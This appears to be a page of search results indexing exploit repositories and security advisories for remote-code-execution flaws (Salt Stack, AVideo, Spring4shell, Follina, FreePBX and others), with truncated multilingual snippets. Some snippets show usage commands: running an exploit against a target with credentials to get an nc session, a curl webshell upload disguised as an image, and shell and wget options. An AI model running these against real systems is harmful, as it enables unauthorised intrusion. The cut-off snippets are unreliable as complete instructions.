319789 matches found
cve-2020-11651
CVE-2020-11651 هذا هو إثبات المفهوم POC لـ CVE-2020-11651، والذي يحصل على تنفيذ كود عن بعد RCE بدون مصادقة على خادم salt stack الرئيسي و/أو جميع العقد minions المرتبطة به. بعض التفاصيل البسيطة عن المشكلة متاحة هنا. لم يتم تضمين إثبات المفهوم لـ 2020-11652. يحصل هذا على تنفيذ الأوامر على الخادم...
AVideo3xploit
AVideo3xploit.go استغلال RCE لـ AVideo root@kali: go get github.com/fatih/color root@kali: git clone https://github.com/ahussam/AVideo3xploit.git root@kali: cd AVideo3xploit root@kali:/AVideo3xploit go run AVideo3xploit.go http://target/avideo/ username password يجب أن تصلك جلسة اتصال على nc الخا...
Spring4shell-CVE-2022-22965-POC
ثغرة Spring4shell RCE تؤثر هذه الثغرة على Spring Core وتسمح للمهاجم بإرسال طلب HTTP مصمم خصيصًا لتجاوز الحماية في محلل طلبات HTTP في المكتبة، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد. مزيد من المعلومات هنا لاستغلال هذه الثغرة، يجب توفر عدة شروط استخدام JDK 9 أو أعلى وجود Apache Tomcat كحاوية...
CVE-2026-108264 Wizarr: Authenticated Server-Side Template Injection (SSTI) in wizard step rendering leads to Remote Code Execution (RCE)
Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby, and other media servers. Prior to 2026.9.1, wizard step Markdown supplied through the editor or imported bundles was evaluated by app/blueprints/wizard/routes.py in the application's non-sandboxed Jinja2...
pax
pax Exploit padding oracles for fun and profit! Pax PAdding oracle eXploiter is a tool for exploiting padding oracles in order to: 1. Obtain plaintext for a given piece of CBC encrypted data. 2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by...
CVE-2022-30190
CVE-2022-30190 Follina إثبات المفهوم نظرة عامة يعرض هذا المشروع إثبات مفهوم للاستغلال لثغرة CVE-2022-30190، المعروفة أيضاً باسم "Follina" — وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد تؤثر على Microsoft Office عبر بروتوكول MSDT. يولّد التطبيق مستندات Office خبيثة لتوضيح سير عمل الاستغلال...
CVE-2023-2255
CVE-2023-2255 CVE-2023-2255 RCE и загрузка внешних ресурсов, обнаруженные @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Эксплойт Просто пример для размещения веб-шелла в текущем каталоге. python3 CVE-2023-2255.py --cmd 'wget...
Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite
Summary An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test. This was validated on nginx-ui 2.3.11 2523 6c86e5a5 in the local...
CVE-2014-6271-IPFire
CVE-2014-6271 تنفيذ بايثون لـ CVE-2014-6271: IP Fire =2.15 ShellShock RCE استنادًا إلى وحدة Metasploit لنفس الاستغلال EDB ID: 34839 الاستغلال تلقائي. راجع ./CVE-2014-6271.py --help للحصول على مجموعة كاملة من الخيارات تحذير: لا يجوز استخدام الكود الموجود في هذا المستودع إلا للأغراض...
Security Bulletin: Due to use of Apache Log4j, IBM Cloud PAK for Watson AI Ops is vulnerable to arbitrary code execution (CVE-2021-45046) and denial of service (CVE-2021-45105)
Summary Apache Log4j is used by IBM Cloud PAK for Watson AI Ops as part of its logging infrastructure. The CVE numbers are: CVE-2021-45105 and CVE-2021-45046. Vulnerabilities were identified within the Apache Log4j library that is used by IBM Cloud Pak for Watson AIOps. These vulnerabilities have...
CVE-2024-37759_PoC
CVE-2024-37759 PoC Description DataGear 5.0.0 et les versions antérieures présentent une vulnérabilité d'injection d'expression SpEL qui conduit à une exécution de code à distance. Exploit Détails de l'exploit CVE Lorsque vous effectuez une requête vers l'interface /data/schemaId/tableName/view, ...
CVE-2021-22941
الاستخدام python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 المرجع https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220
رفع-الملفات-غير-المصادق-عليه-في-Chamilo-LMS- رفع الملفات غير المقيد في وظيفة رفع الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS ' dollarboysushil.php .png ثم يمكننا رفع هذا الملف عن طريق إصدار الأمر التالي $ curl -F '[email protected]'...
cve-2021-21985_exp
Exploitation de cve-2021-21985 0x01 Point de vulnérabilité Comme le montre l'analyse : https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=homerapid7-analysis 0x02 Exploitation Reconstruction de l'objet beans pour réaliser une RCE. Liste des beans : localizedMessageBundle...
CVE-2026-7654
CVE-2026-7654 CVE-2026-7654 استغلال RCE لحقن كائنات PHP في Admin Columns...
CVE-2020-2551
CVE-2020-2551 إلغاء تسلسل IIOP في Weblogic بيئة الاختبار Weblogic10.3.6+jdk1.6 الحزمة الجاهزة jar كود الاستخراج: a6ob استغلال الثغرة قم بتنزيل حزمة jar، ثم استخدم marshalsec لبدء خدمة RMI خبيثة، وقم بتجميع exp.java محليًا. package payload; import java.io.IOException; public class exp public exp...
Rocket-Chat-3.12.1-PoC-CVE-2021-22911-
Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. Allez à la page de connexion 2. Créez un nouveau compte, définissez le mot de passe comme P@$$w0rd!1234 3. Exécutez le script -u = E-mail de l'utilisateur à faibles privilèges Pas de 2FA -a = E-mail de l'administrateur -t = URL Ex : http://rocketchat.loca...
CVE-2024-12252
SEO LAT Auto Post = 2.2.1 - تنفيذ التعليمات البرمجية عن بُعد الوصف إن إضافة SEO LAT Auto Post لووردبريس عرضة لاستبدال الملفات بسبب غياب فحص الصلاحيات في إجراء AJAX باسم remoteupdate في جميع الإصدارات حتى 2.2.1 وما يتضمنه. وهذا يتيح للمهاجمين غير المصادَق عليهم استبدال الملف...
freepbx-endpoint-sqli-rce
CVE-2025-57819 — حقن SQL في وحدة FreePBX Endpoint → تنفيذ تعليمات برمجية عن بُعد الملخص FreePBX هي واجهة الويب مفتوحة المصدر لنظام Asterisk PBX، وهي مستخدمة على نطاق واسع في بيئات الاتصالات المؤسسية. تعرّض وحدة Endpoint Manager معالج AJAX على المسار /admin/ajax.php يقبل معلمة brand ويدرجها مباشرة...